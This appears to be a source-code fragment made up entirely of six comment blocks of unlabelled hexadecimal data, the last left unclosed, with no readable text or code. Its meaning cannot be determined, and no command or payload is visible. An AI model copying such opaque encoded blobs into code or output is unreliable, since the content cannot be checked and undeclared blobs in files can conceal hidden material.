/*041e971f3274417d741597084f87b5ff828c65b9c1ec243f15fa92315c808c771aed22b2c3a494720b12aab73108d820a24f7b9a57f3b62b0092e62d0a78dc5b38d892d4ec26ccda5802d1389a90c9c0532695df57d8816e05f259b1ae9a573221e977ca5acdbd3de301055f32e696aabe8004c7eef6bc2c5d17b693f34f4ed67406f36efbc57271ff13e7dfc85955e21223e8032c0759a118a59f7f08f372239bbe556a293618eca5a542fa29c252cf6237377818ffca170e85256c97c5d1df6f3ac1c1c250c1f19d1503a3f062887d0784268da8652f101f01d152d602bcd9fcbacd8ca749d5eaaa9c69512444eaea0080546ed92400f838f95dfbbd4220d5166db6cca93dd0fa9afa5688eff1818d9664cde3e9fe4b78e39218ddd01a683acb80b0f76d1bb1b9b889cf3a8a49a620af5f0efb22ae967195804cf827f02e26dc725e93a00439f40af0e1c82c330d52eedfc0cc1c80821ccdc077dfb61371062cf7726dcc84dd46611c84b6049334698b58e364ec16b916a0c526331ac86ceab089b20869bd199813d6127889e60f62e616466e66478e9b60d31ac79d39b711f82ef6086d81efba23ee46818bab97d696a2a1f2ccbef1c98e6943ba1dd22244abcfe370e127baf4805402d8653a75c71c75781e3c401839ebb7f42159abd22b4b1ee187b501971b6936f0b4bca5850265c0565f5123ac26785910922eea955f95503b4cb25201e5af2f09ee22ce4172f2560489b260e148aa86e93120ee085f970ab9f816f291f7ff1629fcccfb9643e42cbcbdf3461b438282c378b35d40eddb70221a9baebd69d805fadbd03b6a85043c7b263724b0315423d82b0acafd9c98f48bdb443fcaa54c03068d2c499fdba42223fe3696bc79b4a976585b66524ed3458e17dca5229706b53b9636b2044f46a59c5ab9e8a49703f971baae44c6c354b2048c859a7127b08d5200d0f127228c5346aa3b566da01b4b19ee3a1bcc15306730a5ddb8e331bc8501e9100dd3143919bc26e3be5d3c8ea96d980e8352dc65cd837724c4d5980d69bbd8e54c466fea295eac9fcf75eceb0ee0dc8cdef917e7bdfa03bb159665c59c7e0ceea3ff47878261533a7380a02da213c708a63212d6de866bc11f6e8bd0f89a5350a3e2a03cf6effac41b3e80b6bce2e4290a4450730e886dd80b6b3abc1319089f82a48e349a7da476c8c7d563146cfbcb30582bb8499dd1ec0385e2941be19a6bc962543441277039ae63043fa69f1f601922e7262a874a930c7be269c93d444d2181d5314678e9fbe814bcc69ab86372746be3b97a193268173d0d9c17d395398e9e528f4fe5f03f789fac10c5abe3ad8e3efb3f75ae9acf8ee04f0c4085f999a73f3ececbab02a234c91953841fa4343ab6010fa9bbe22c3596858ec9742a4787b061cee5b328d90f7c070e70611c79f5e53d17cd0673c3253f4b0c4c3f0f495a2090cda0fa7ce8551a768f0a614b224410736452e31fc149c47fd3fb85ae0771e119e3cbd6df59ed5dd8c386987e1ba821076fc6a5fa809ea027e79a094f04b994577e7599458427847cb0d6b8aecedcfd3f4d22c1a9111250dfd236f04b5f0d863c794705bd0b0cb4d122030f08dd5862a67376d5238124d18481e186cfc4d6f24079e33e1e81e486508649aaefc5d7511dfe750da3ea5d783442703857ba7e980e575cfaa29f6994960c1155269fa749b43defec43b138ddaf394e31a395a02ec29c4bb55ce3a093f3d1a21e7d9abbf9390aeffadd9ef003a2f86547540aeea35d05ee739224d46dd4dbff91fece95033400b2c557ab9464762abcdb49bf6ff8ba11f51c7c960187cb0df3c9b04c3b729f9b04afe532949953c8cf5349702a692e3d48324098537eefae4a7bd500457cb34fae26a03198c76a679f69b80ac466035a1059fe91bcae9bd3ed347927328c1d5d24b4b6da6c19d2cb57d42a796d7a15688b6dcd4c4f29036033179b4f030e3a38f82b1f51e791a97aa7cc341729109525e77c6d39719e7f98dba45b793ee3512e79ea65aef873039e7efcc9cf7974bfacc817dfaf544ae3cf225aa0b6c678ad12763949dcad5c0f78ea2cf8a8c6ab83673e7adc9eae051c8a73e14835e828b6b3959a8d6edb84d8df101523a9b597cc9f0626350fc65590ef4266d32ea55bf0d0abaf2f4480e9a93b97d7e58a4fbb26c551cef1d000bd5c8466b765cdd365c6c6048a0026aead70e85ca3cc406be43be5021679fa50cd6cbbae66c2c506a923f85ffeeeb0824e5cc256f00e413ca141ee602836cc8b70c44c84dbb7a53821020242ba29a575e97506820ee6c599e53dfe447809a90ae29716b6e28fd21a519689a2738cefd899281c19bf3576bf9d649f99839492241ebc9db7674c7f734961d274f146edc7b1672de6f98638ea325b3646e1113c6b20c4ae55d5bdaa560f8b9eb20e62eccdb679ca5f6a52ff9f361aea7a841495dd843a396fa865fde0a095e67aa0a9f7c8ee0a08cee938c7bb715698ba55d6f346154779e215e85a0a77bca91152155e95f9f97d822f228abd3d386c35155a062666bfe2c1275ca408ce046002aa492ebf8f914d80a6657d2cec94310f7526403de326784ec8e24368fb53689a31d93c6bfd76468817f636e37a02853e0d3167b1802acdbdbad6e11229fb53d0d47ca66c114dde5a928b9b50c568069db7577217480b8ac8d14691c0dd1c873310cb15d2011b845b794b6501e309dd19c30b34c91a0e8fe8118aeee0fa37a243b75bfb66576c4b4fca6b0f8efb94aa891ca5dcee43db494e01c5ef9c1e59bec129f04fb088ad0f91147142ee02f0*/
/*d309fe2a93c478c489454b51949959795df68af7bce401c14b957fddf0f935d3eb1e34fc4a6970afe893da0b60ded62b902d0ed7f5de36ae06385acfd13b7b7e7341b4c47539d98b4458732163e253812ce1e30e6e62f32de8583bb6bfc46a327a1704ff56468733dd937911c2462f456111da25f54ae78f477bafa481cf84992435627261574de29adce4e03997f675eaca2be0ae87b9295fd1b671e7f4a3045bf39e1e96f94cb81a41163cd6efa194daaaa6e1ff1c5de1ed4c619d9a08f6c92e6c6f111655235fbe0f804a119c6eae36d23cac72b94df520af319f7c86922fbc90971e67b3946f77cc27a7234a2a01891e993066095a752256bfc05cdcc403960760df128afb3bcfbe0eb924c745a6a3a19b3b46ab94c9747c9b98a80daebeb800079cff167ec136f4d52ac956458df7c6beea538d149ec0d3ef2ce6efb9d319726e80fe6ce505f4e9ce0ae177d2b51980d909a0034ad90dbaba8686a86aacbf284ae5187ecd45c1bdf9c219e0afa3f76a2cadef1df4f485412e15958ffb62bddf7f722b9dbd959e17bc0fe3b4eaae009b126b2855823e134154854e2f300f3d1a2d3ed6cc0a325109e2b22301d05b7c50047329c7ab05c2db91c258bb104957e02d9fb73785227d1ff4bd04c30fe127734645f6dc59e106b88419951560feb1e83e69b9719f6cf66c9e8c5af1a9f2648232914b610df0c925dc409db9c27541151df3137fcc1e704705e886c07bbb3d0454df958d10afe3799589359a170696e56d4715704957cc47bba904868e5e0f38a21f5323d2a56c4cfad7c1ddaf5868d3ef55dd8ce61372549fefc47af6f4fbc554e98131b7ebb1040de394bea1fe8fd657c3134cab8c6d2b17e41e564ea21100c7338345cf95066bed04c6130a9c75027c931d3f5623b59d9345475285c61603d82a4f4f0e851a57da0dd8677a8d95cbc120ba40acb74584a73ee4a5249affa498af660462b38295f58ece6200aa5a0ba16632355c7191dcfda01dda427571d454ef1ddc157c83d632655f39edb2ab79731e6d81291f8d006218c19370eed204632a0ec207d2e8926fa6b0a2169f4bd48097655aeaabb8309b4880b20d4752f81c1d444c444fe5d8c63b497b6ec12e0ed409cf829f43fe049b246a86a94433109fb9eba274b55492e5857aa40175983fb1a4d83b455650387b445846b35390be302845db06fe7eb02e26b7f3c498293b1fb72f64869d3c8ef366852bd5d1fdb5b8fde59545e3430f85f1814a276c0f01d6b47733ceab8039451e5e8464394e66be51251ac70385c74ee9df13673c1333b38914e6bea408d16eea349098cc957b6e965b83194ae784ff43515ce89778be8cc927c96f42ba3b9d9ba23c41a2e08c23190dd01edad5d25f131a6f26ef314bf28c0c2f40fd24fe746a9473f1834515ea3dd70178f6db1f6a2e4e357466a7910d77f61d2736270527807d6ebfde4c2c6c192bc5d01b5bc699c85b836627308f3b54e1752a6cf8f8e6adae45658bce439e6e5632fd8d39508f5f8e8cb1d168275620ce989b3c70614f575485b8dd605a27567106a305e8d86f81ece06f40a7d32355e59e159291dfc6e135902ffad20246936b8004e5206adaa633c45af34c712492356e07babb3772650e5383c1d61475a468917868930738d488b6cc29628d88b3c519e373cc141620c73bee06fa112b4f16465782302d1f24515ba2d20f95a72d8521e7e4fc2da36e773c6720a80268c45ee3dfc30dec74a77826f80f04c2f77fb9bf5b5337bf60e164fa93a2ebeb3d6030341b03c8a06a352183a5f5a3cfa89fc207ee10566203f68aae3a34ce54cdbde2fb85cc6474035165752da694ab256520430efb15cf34f6a3898a8c57e94ab9f0accb77535a8410b79d602a0589ff11fca70cd9715f15688cabf95002b72c8585c1e85d559f8aedd618d5491c6f56ba4b1774547fa07fe79eec7e0245fe0624b21a17e08340f6ec8c01dd8136c39cd4aad12ce4d548a353e609cfe9689ffab428363821aa035b0fb4d6f02c2c9efe1400a02552dfa51bf3bafc72dcbf1f804c7fed2c3d7e9e0f6bd067b1fd46e00b0c9af8801106d873dbcb3e38f80f826713c51e4bd91f5125b9494d1af9411e94d294b5ac79a5862905c31c0753db82f7954ca7cdeeb1676d9c0dfdaf7f47fd6aa53f91a910913a9cb917cebf3034a145722a54bca25de5ea69f7cedf518193d1eba1218d3037c8748932c8e057fc361114f650656b194ee0a5d6e6bd0566ecc974857f06229cec06fcf3e7b5e9d0d6630ebb4b97c8a01d4fc046c6251d60b523ee64c39c1b53c2cb5117505b1ba19ba1894454a6ebcdb2127ba0544664719027bd8e9db89940f3125c0ff6d9c2b5d01a500406085a2fbaf26069af576e40ec0be35f652ed5907d563085904b4ed6efde5a75fed695577de27d608c7412e28c51b803afd7a8228663d4608eeec09ed1d239ea57b8ff620310c9c120dec913fa89b8aa3a04c525f088869c7ef3c0894942a3fa07ffda6eae604cee50107b32ccd48e16984f2a4c3c4eb736b9019c13f955f118eb7fe8ec18c859a3e21d79ad8e170d33f0f96a4f61a2c2e6ce2d327b0271efc62d60f6a295f864750bf517fdc527f1b0a1b6832fbb3d44fffb57988b7105099c3d2f54c76d95910d5cf29ae0027a5b63a83ad034671becf1c0f6e9c470e105376083080f5f7c21f9514850369f5f765ad1cdf71f14c507e7b910613b300de7c282c9dbca99fb2b2153a66964675813d708e7b3d60671ccfa179484e02148969f40b16db3de8fb92301740a20922e1bf8962e137e15e3daeb0df12d*/
/*570bf2ed116f6ca9def46f9ea33d4adbb3bba84222e2757a6e36a194da7843d5e1b446ae4c61d76e7a78dbc2de1caebd81be401a38c9514a841a682664718da53ef10a6c3b96c008e9cd9df71ca304003d5ca608be433a72734f46e1a52decf246de787434751c3330c24f642fec9519034f85cceff211b40bbaf7797168ba5e6b0eaa478cc39593d6fcb15bee500b5936df63596dbf3f7c0c2d04b0bd8b25aa41c036af4522a3bb0e7143cb9e4d661f22ba277cb6e5bc6253e83fe38bc627c501dd4c0b0cf7be6e66bf7fb88b11de1f303472f68b28315d767eb8d27d05389099e8227f0b64bbc786e469c293b4e5065674eef6350e44f7ecff5de26760b460ec0ef029572776987d45b8d337ce0957de9022e621b236f63809d3ed601e9643c4ca0236edda00d223cafdee76c2af456514577df2550ab2bd859be31162f5147090ddeafe7ac1c08890113915ce9d5467f49dbca4a4c5fdf724e7d56f058d8fa6579fd2253f35f2c64dd7a5122c0dccc5a1df2d1523d85efb1e581a81831890c2048852657725987eb57f82bf3972d40e23a552d1e7658859aae94c09d93646c4cc9bec956f3c17a6820a25d019e73f5e298246fe95f3442ae978e7dab07c9d5eab554acaad5bdb41eae09f640387f5982b4bee7acb3b08580fd277c90a9d26005c38848e5ca99bdc065e5ecb932f3b10dd0c8a5f12203b8d0c523bab342c78849eb9068e506f91b8aa7af63e9500544434d57e374b84b3aea80742da7d34238a6cae969d9282357ad70110e44e3fd886b4c75ab6edf882c315544b0b406884d915f4ec4624eb9d0f99289312831fa51e0facdfb858124325cc951b7223a1073899ceca48ad3820cd3ab434c0d8aaf9ffbca6a80ed216d47aad0127e6063ade0920510259c4adef9f65f837a6f23bb4433c2de59012fa024fc2b2d148c6ddb2318bcc62afc04a5c87f417800f6082fc3f8044248e8bc812118ec7d2dcbaaec053cc108382fa08f2d2c5ccbbf5a7a16a4262d5eca03f18638cd30760d0fabb2fd02534f9c7e35040f06d9099513c3ed09b2dc7b0c9d8e90fe24f5113f4bc13ad2b233a0b04b43b6756212671a62b74e10b071eaf3f5047cd51dd0e552d9895dd76e5207f65fa85c1686e7b3abb2e1ad47682f277e6514b66a4bad1d14222c728ceeb526941d835919c657256d0520089de7727d5aa061120d0af499c89d236ea811eeb474de7a5625e9c5e59d38eaa9359daabaf6a349cd4bdca6f16b985a3ef5d636d7d95c7011b2b0f408d23e5c7978ef1543466e17787205cb7baff24dd42a824ad23d24512596bf7d97c29a029c64c799a76beb8a43c870995c27612900e0a322bf39c1d2dde41b0a277b6861f331cf74626eeb75bf69777ced9d25a903ea486a341474a72559123042d2928d090cfd702b44896aaca233839836bd31f0867000405d709cb5775e16d09aeb1cb64d6e5f4e20b57e1e5b13014eaf5d895fdd407cdba68cccdfef13224062ae3763a4bcfb8564f80d69532ab6d005d69ad074514e57ce1031590fecca09a12515478c26ece278ad0cb2d037754fc0b801405367f3f095bb47e278e807de51598e23b6a2fe633d7b29968464b0a491e16edafc1f26aed5786caf63cf94d0d79e22fc18dbd0a4ef7c863b65a85ab6f9f3f84066132ba16a02f23544a1c93020a17dfc57c91547e538a704abebdf176d12dd697a3378a420f3351f63aeb7a362c3b9ffe72131eb4e1c1ee8dd04ed854370d9288886b6c11689e1df1515011725ebbcdae4ed551b7eec6e7c1d715b3820ddc966f0f8525e79bb9b51a315b5a63c43abe42fa36abbbc29b6055f98adc65eb588fd9924ac214c278cd13507248dc9d71fc84e80f72ac7424325024efeabb557eaa3eebd7cb3e700f5102e38576607ed9794bbc05c9c7c9902db011ab651f17f4f7402621a2beaa150bc5d9b047b968344ac544806f27bfa8f704fe92885741b0242f8be5f090ea7a0de54587999c77edfe6184140e082988a3306f98fd429b00beb7db1f359b7feec815dd6a903e62a1b5c9c78da17acff9550086797da015341e74768b24a68eb7775f60722b00839d4431f6a5bb8dbd808a7c903928838b02c9788977f19692a4707ccc2a9e9abb201b6c9556d63cf50d507d676a6e04b3dbd6b10a5f0c613224bafa98cab79b767e46bf191640afd5a784f541bc9f67d0eefb2d30e7139a2cd77da7fe74942bb92829322ffa1cee8ab33446337eae1d131b301b9d7eaf0b8a159b812e91ba92c5784e3c96694239a1152975fcfe43a480f723c91abd0a00514508bb93eb6c611c9365e85d31bdd0371c1a7a754dc048825c1d5f17372293bd0b795f0c1bff140d1147f9a297de57c3a1f195e3644ac5a365b30a749857d518fc68f8cde94acf8751d6d531c14fa8a65fb218e35050b8834b62fc83c0307e3f3093aeede2451a361b9a73d559e585d12b74f7fc39f16e6464029367a6d5d3c787448b2095fe0f7f0bbb9e71c5f818eb8b610f86bf1a1b8d19eed95868bc72d550a115cd7cc3b8af2716147e7f0d7b0dc4628355f9156e10235d2f6734bdc3c6c896e21ae337dac5cb4080a3dfd66a0691abcaa5c6eee42482f759a8f75185a7718e0f722b9ca8a12db9f18d48f45735d96fee707e509fbaf5e6f216dea1389c1e5894be9020e2babc843952c10db81177b008a2158006c03423934502d990e0bb978fc0c9167052f4d983541201def114840d20f822dce7eaf13c229761ff22294ccdf6dac287ddbd86689621a324bfa337039247aefc7244763774b5e909bf8647eac50f2e3e8176aff8*/
/*ab085395a14cc82b86358d77774b1f906692ddaf71225a1b7913b18ecb19b0cfbaaa3489e3dd6326be6281f280efe6f688da8bce95a3274b761fd9e715e7e4c136d2853cd8ab5a5ccd1d3dbaf1289d0d3b9d68fa1bf4301e0b3e9f13a1b410160bd72a683d43731fb631789660ef13fcf2e53dc680226f73b042070ddaf87d1d8806a1e7d1016fdb2bee51cddefca02a566b9c6bb366487ad514bd7de057404a2abf2dcead0f49d93a9f8e6fbe1e4b28f966e315781d8f1112a370dc1e55c1cf3a626f5f4e56f41c65522e5212e5a813c11d3c9a2a8fc72827123af324e3b3cfb242f3fa6641744c2e8dc3335ce8beab8a0fc900ef0b15ea788a95b61cd0726c955a2f0ace48627e866e86971f076ffc4cc44a3f036d7e0e7f6e5031942805c84b2244f8ff62a03457f8d1b1373038f6ad43bb43a3715e146b2706ebf2d1cc6d9a2d61fe00ac94796ca3546ae6a60da709d975323dc001a260af0324773527bfafec8bb8e21997ffc6f9ab9e469a390c454c5dc6bec8f623f984175d980e11d8a7389dc259c8008134170623b8e7b195eb9a4932cf71b7968e98a8846fa1b40bbd6dcedd3b5f87e44e5e814e7270beadc032b9a46a7447c2afead2a62586067c159bd4779d55434a4b4d1023dc8a7b69118bd5a010488dbfc304a2704b2fbb08604727d23c6ef7744bf6c6a741c67b4dc71b06fc3a790be255ab3003e77a0a262ab421beec6a78b5606f1488e7b7b07e9a6f3273c36cce294cbe6f03637770ca46d92dcd429737e42071eca6f1d90f89e964a8821a195dc2a51352d70c95c1473689bb1bd7933b2cae8476318410b84c83b216a0ddbaafdbf7a1aa7b9eaf56fe2225c85fdc5a65e8f0e3b023bbebb7a86577cf1b3d58b96ca1d522cf0a2fb92a67b8cd12aa15dd4c902a699ee6d53524947ea309d36539954d54eab3e353021c81629a0240fb76519aaf30de6c0437fd1817241830afb058b823e193518a6c5f1b397c4bf7cf103c5c57e63d79c97a865e7795635a6b773cd72313673c20821a06ca78ec50ad90f2476851fa107fe6a5b56cc5d7141c8f7caea5cdc523388efb94edec91cc9eb7ba63125121e6eaf4d25d25c030b99ad33e9e069f455953daa6777e603189f23adf52f9c42f5ad21923263efb211b7f917563de3554a4d5df5eaed9e32489fcc0618a5c408f28a379681739575e31bf668c6b5e9f764bb3d50e6e7a4a4b57cd9fa61c09e975ea201419b96229e1b43406ef1ce0c93a09eac92f6c73eb8a5a91ba777b3e9664c01d434ed7c124e9729d6ba0bf6defb0ed6ed20b69d2976c8e289b5e7d0874938d89486889e34f1c3b1d027290edfbcdd0095d17a55ff3ee1c54d1b147883b4d7dd914eb9b22e44e21c5f792a474ecb448d420b196342f6db1f8c3622db54231debe7e8710a1ca3551effa677a039625dbf95117091f3428b4fbd077102d06bc8c716fef8e3bf6c003c84e8e4ffcfb5566307f51ee64a5b0e93ad3de295211cc93a3b50857eea628d0fc57bd70f67d2e2b99658bccdf3d5854cce2b071d3156fe70a9023ff521fcce7eabce482e0309630eea9f8ae035fbf5b4d5aeae7e44dae8a2d4178032587eaf2e51c5991b208da982deda423b18fc1d501c5d1560dca9a3107900a118eb5aaef7bce64c376202834d4ff11ebcbf07bb80ad98b2c6aa3601d1d691742e4a359243be7cc8826ab30cc7c73abefd89e361c7d10c631b378ee6d906326b99ef3c2c495d24938bf136ad5a006c1d6ff5cfec24e7abdda2cccccf1ff06442df05d2879473db8b1f1408457d79cf43b66e8faa417666d57fb951817b0db1d3fb530db9afe286f41bcdc0b67b8fd80eefc2d1d944bd1141faea10032762f4ebb26119ddff24ec6b8784bc86fe33f9d502021e3ab5eb9fd98065779a205c4cab49b633b234fb5bad274536a1fc4c7e9b290663dce8c82d45280dd30a9358399ec113f25528d1afc0a862f28818cef4831c91950892c1a6a820cc50a69438a196aadf57f7c04b19583b3e37dad5efdc7795dc73784845f2a5acf8c1708e3d628b4e4351dd29fa1edf406ff4cba323e0c03aa7e319adb638579b04da9e18415c76f20dc3a4db1b58c1227b9a8957c26193919785835fdb24b5540d75582d686aa0d0f631f68ef15d40842c3bcf633bd2650c6858534fe49a19b08f9f1f1aa98a335879a2e20b78323ab2468498541a6b4f80d594b61cad231d33920ddae27c2519ec7f359c0d8e660dfd060161e5e95d32a0bfc8189435f5ff0397711285fe100e44ccfdeb5b3b5c14c4d65189210500f97f1699d8268c2ad518a65c529621c83691166dff5b0c576de995f86307efbb957c136a3e1694427dab120d97aa2e2fae08695fd8e15b0b66a031b95140e27cd2f9d2e64ddc6e115e5a794e39cae84386d7ec43f094844e15da3e43ad72b1c3c09840c2426c02fe653c02869da56e28158961c8298560ba2ba100773e525dc6461b4fe9271b21e765b30d0653718a3a15735f8a6bed742048228ac5d26d74231728c32860d2a2c91ec10389995435f38f5d2c8ecf9e98a5195b0a56439eb759533e3e03e429a04120d6d15b94f68750f42fab6a23905ebcf68249e0a9b66687413879d590629238a1426d99b1b5877bd728540f3369e63fca211abcfd78c8bafcfeb8509a5e7856253741c60b8a6541441cfba82a97bddf185d069512eaded20c335594c66277d8de990ce82951611d112eb31fcbd6231e29df396476bb3bd43ac8d56c517678ca7086536b6e986b879004834661af0fbcfbfa956a6f8c8d7db6d62edfdda7437527d969caa1389d737*/
/*50471c0a6a2fca30d34bf6614fdf277b363025f180f981bc41a9fb17a90eec11150512a07c8758bf1c54705379853e954d9d7153cabb66aebd45d53cd78359319b1aa605e051af3893f8acaf9385055a338028e3062b288f5f4ae0960169188dd7ca47235668f8f7ae0c64366474873a0f7c51e92d32315b43cb33bacf75ea1b01a20fefb417719128f1f4ba3574633d1b704302e8e3f45e6b483bbb7d2695b42f0493a2a19cc0b0fec31d815bfdf4f9cc412607b34d3abcb814c01267c49c883a09c00780fa3841691e8d63783e7d85c8c9a1726173a966377a71c9b5979c17d22e0efb543207d8bb6993797642c54b34d390a487f59f7d7699ee51f58244d2ef5a8671f670e134031c2e29f250af7d488a94add350b1978710888862588864e51a12245381c8d99a258a6f8e3ab5f494a12c7ade541c7a9e3443db7b5bf9d031eef7306d64e5987bf20a9524786655320de27230721914420434927162122c2df633ffa7f60d97efbe5ace9bbd3d913a8afdae1860b64f9fa9860dc84903ad6b48c7d8031ede24fc5b7ff203097569e69723789fd0f8b32154f7903922a1b1bc5d7c05edf75c26bd9b892c1ea40b93b4834049f4a1f483fc56fd3444816f94925de2813a8639b956e4079588f2e658dd1f8a93ec0639c865518b73eb6cb2c9cd531c665df727a33d18412123cf521e5f637158a7a02f7e0f59ec26038f8b107233e6048d8169b748d483899650a27f1ee03f9d0afcdab20504f73f8fa8dc127bd93803af7465cfd42ab9096e81ed62404df6f37359504eb4b4b1a1c93ed730aa1a2a22543e0253cb2aafc3e520d264676c33fd110527a53c2f20c5b126ffbe2bbd67c27325de65e7bfa1adb16a48d1c9ac9832dfb1d36e745fb267b64bebb2984942b6e0cfaa095e83b25fe684187f904552543f6ca16f920b975d39549b22f4e3991af707a635714044a269f12a6cb48df8c0080a107523cba2ea38dac03c18c6ae666a2df373d06d31d45d9ec0c8464dd682af4052e868497d3b5eb44119d41dff6db1ebc036e0e86334479a1110a73296154a605379ece3c8f8efba8ee16ce45c4e349a474fcd9666b29ed3de8af9a3b7c383bcaf071f1f6f264b6473850208e8c6710ab421f28e3446c7c7cd6e6232167eae0ebaa1a520887be4359ffa3dbf5c01554f10ae1e5f5a498f6249f6fd0d46bafacf227df619074f53810000a290ed3ff78e5d3e4e1049b5fd2ab92101c713c337132af44b6cef63d5057327fa30d05c9bde87effc3d8b9fe273f39ab4c54457929c321ff77934c8cf0f847ee70c5a68957e4ac13055529d0719f9871a9b9f52f94248f3b4e74f76ecb3a3b6897d31efc9f56343eba0aae151bc44678a3558b2a20809752308f6da3c19448b36fd52e7bb6b1c3a4bd94c8c395c73e47513373fe2b6a73945762477f56f93ee1d20be576f49e10ab8f620d477688c757c2fc297267bd6276b121c86595381420c6014806246580890d7960f7d8d36769f513ced20a913aa06d04e7f3b1e45b8398740802e243c2a492b2d848fbdfa2ec06c9a3787acfb9f6fe0fc23e4b4af7ebe23f8e175bc383bf222ebc91b6d79c140c74b9808ba90730306c867f6574f4945f1ee4f4eac8d0b8159fe0e029a66ee06689d726c9362b91f1fc8d608b2dcb31484c31ba3715e0ff1641cc8322cbc58df0a251c4f7aed255da7aa302f3689f360abe1c846d45b6a32608c5fc17c8b33d80e1aa41edcbcef3b65cd1a156c0277c565ae633849cab8200a08e9cb747c04313f30a84b447bbc8ba9386579db8260dc19e0613a364843b341a328fd6d79705ecc10985b3026a54beb2933c59382e8e3d3841eacf11cacd218b6d9275f134944fab636285d9b5c1d30625f22f3c842c2cec4185f71d4c17fe3df9561055320d70799459ca1077204431d352e017ba3dcac32351d4eee726d5a419086b9d8eed13d9c0e45cab0e987b09dee7fc55654ee5cd53acd9727880328c46ad60277a0a83593a5e41f11eecc2ccff41156e6ab459dc74b47714798119613f553a6126971639b6322c123454fc91bf6a3fe28da10f8f3df59197cf8190d31cd715a652816196373e3a4e4c93b723bfdb26e8a4bc04468e2da525bee4a093689259c0d93947795c038785029996cbad8b17ae190db0b0cc326ae3c3e9a42a8508ad1394d98812cb3a861c495cb5012413b18aadbc45cfde5fb16016f5dde70c7e566491f4a8b74a58052922be55d2cb759e568fa9ba2272499c07cd350945b192f6d708d4d44e3a44e39b0ef7a194e55761e11cd820fe6a5ccd019993e116d518273be8df1893b85a6fbd613b05022becf17066f2a6b8c6245fbea2dc381a112f48a22201326df424edbed152ac1a2a8ccb9f7925ebf4dce63617e462e33142ab686fa6143b1c6d7594ce07c54ff2199c083a237331f63dbfd7afbcbf7fe518acc71f8cd2bf0bcdfec2ad43ac3d21127f3f2ab61911211c78808b84e88a46dc722da7e2cef558abd785ef920d035fed940a892887e1f150a8bf621aeb07c4d8feebb327107a2a609fd26794007f3c239ef64c0aa14c1fb6228a5d6595cda7221e9c22583ffc0f7591a8b5d71a38af2218a9de1fb5ec6b86398b95e3b915f8381dec036e866c339eb9b183e227d6848b67325b887432c4b1705d321b523955fb2f81aad7b3577b19d06978036d97cdacdfaf27689018b21b6eed6878d7f91e7de4abdb4a1ad404ec7d3251e3c9dcadd5084af77cbbe57d9c8c6bd687df307fb9edd87d294ed12cde749d84324ba74958d0c04f24895c4a8903bc51f3c6ce08e212c6dc592*/
/*1adb78edaca96ecfcae709f89836c04b9ea63b489d7742a9ef53a4b731eec4aa3df1af046e465cff29bac24aa4f51eb2778840d9bd0631034c365944bf90fa7fdad8dd6d36c531473741148feae088879c0422be1b5b85e984b7f93193d7c9f8658c31f99ec356ad3c9f1c86cb74226855887d56d5ff4868725ec977853dba1752d344c1ef50f37b0e718b90f3d3b066d385a485b2b1225fa0e3524f0416e447ed9d0aa3cd1e0c44235881394e4a082dba462f3e47168dc995b6dd033c0e0804c38e48f301583984f856e56918344aae06e4a4bf9f29d007be4982318bfa4e075bcbd7a49db036ed6dfa1b7b4fb5bd4be9c1d133d894e4d92a91ae2883fe2a4a824574862c3c81b288b65e0df47b0ba1933a99c9d3c2a7a5258f46297e027d21ad2f5668fe3607a14dc7fb8de5ec7c16a2da597a17537c1e4ca041f11e3d03c72fcc4603d00b700d895a1446bfca4971b295078c59d5bbdb7efa4445b00a628b332cb12362e42b2fb199b3ab23b12a7e211708d58476ad56ce4002b9f7d9a93f8625bcbf0b520711661b7beabde198189662acd5674948ef706d2f70b5b92776fc0799d5627cca5dcdbda76944f9bade6e4150a2fa05f3efba4eb3a62fcf61a04d4bfbab0fea96768c635a24817f4e7c1119618bdf7e3816e982eaf9195a73b76ac8e4fe586f516a70355eb306f655b0c4786f8452aea858a93f29ce3d1470280d2aa6b4867232cfe327da78296f5acebba22865c19d5b5f7d6105bb041ff79865599c5b0f982ee4275f2405f13fdce8b92822b224674d66885895097f6e8284e451cc6580ff18969a7a9cd6377e012ce2409887c641ed4cbb6697ec4a443b31e450b168f8e6e05ebcf2363af17df70f7229f1397855a4cb540c688c3ffcca5c9175ede06dd2c61142846d1a6bd3d0d83e5dbab8104fea46ee88aa8ab4d1019ae6c44e316000164531765230045fa2e7add97718aa2b10d072657f1dfdd854fdf47a1ee503754a189d4dc49cf3b261376b42bc1aeea1ff824a653e9b466c97c883135f8ef1ef1ea4cc92256a9b4119635688c06d78b1800f3aa3132c252ad431203227167537c319b7be5180c38612fa22cab07ae772530095de3351a8e7534f752ff996b189181341ffb5a9b442a0c8f94da7cde6ee6cbfd8d79a60d31489d3f52416cd89d9ad4eb73144f655b0a4f5ffe7f801b8ae357ca127c511f47bfc94c4746b778e2a99b478e0cad96fd83eb4eb774541c7b3566790e897ac25d9ef9a639a5c481d0e85e931febc8783dfc315da85eb65e00b2a666c85db2926c87e70f0d1afce0d7154f4bcad8956a2d53f2a739dcd621ffa32221b7137d074f0cb273ff765dd7de917fa93c3ea642a59e32d594f7d4e134cd4d013be2e1471a7d2ae9a47fb1af6a7407d2e4fb314a1c66df783af394096a1750b3f06bfb44b9cb2c8b3bff7bf35669443be168e64c5520e8eef9af2b12be60b1e526afb4bf01ef90feafc2d9530d998d4e889eb9a9d2c8058c6230c4a6285b084ddcb99d7819a17e3e394db722090336aea8581f21ab058d8e78b7054a1216df0e57cd4ea4ea207d77c5cd5672434fc95918a8b792f7cdfab745282a777f90605c47299806e24191dad294305c1eb8864ff1a03a33a92f25072f75386372bb2762cab45ebbe7fa6c96d9bdbce70b7a83e7e05b0ddfb31030f8a4b3bbbe0b5af5016c9cde592f4144572a99279e6d98e9fef08988da856fe175a1df508c3ff769ef328b53112141c34faf1bd7929574689562d0b38aac4687e75257bcc76cfbc39c6692ab518331f56754f62a61996689d8630651051679acb076930d7ab915c8359b29a63c417fa1491534ca0f1842f95364aeb07f61b33a933dbd2a50dfdbef6e93c31bc5e7e39fc460cfc2fecde3101c72e413363e4811dab10b0a918c3c25a0b1f094a5488c8e6892bf1d0706b630472f18db33e2e8726aafc9e02ae4c8a7e88d17ffb13f868be32a23a0dc916a5c137fbf9f40630c3a4cab3e6cd02b4435aeefb5d077744732684778b9bbc31fe7387ba6689613a176c8b7fa5990b091961fdff351718f9f9017d7619484141e1975becca362f95faa510ea493f4e7984bff2b3d57bfefa22280931bc3753e8d4960922fdc3c42fc7881bea9d89573ae1a8341368ccd23f7aacc40dfb18f5399df27b75ff6bdb57466f903865a008283fe3cc6a6e2acf9e6eaf1986b1e1362e13a11fc155363328b15e3eaf0b4729bda2a05018517f4cdf43edebe93e8ff87433894e7d079ae0ea0c2f34d0f140ab17b914a8bcfa925fa9f5180d240f1ddcd36c2fd1951b984ec81202f1ec021783954e6068851d5252d2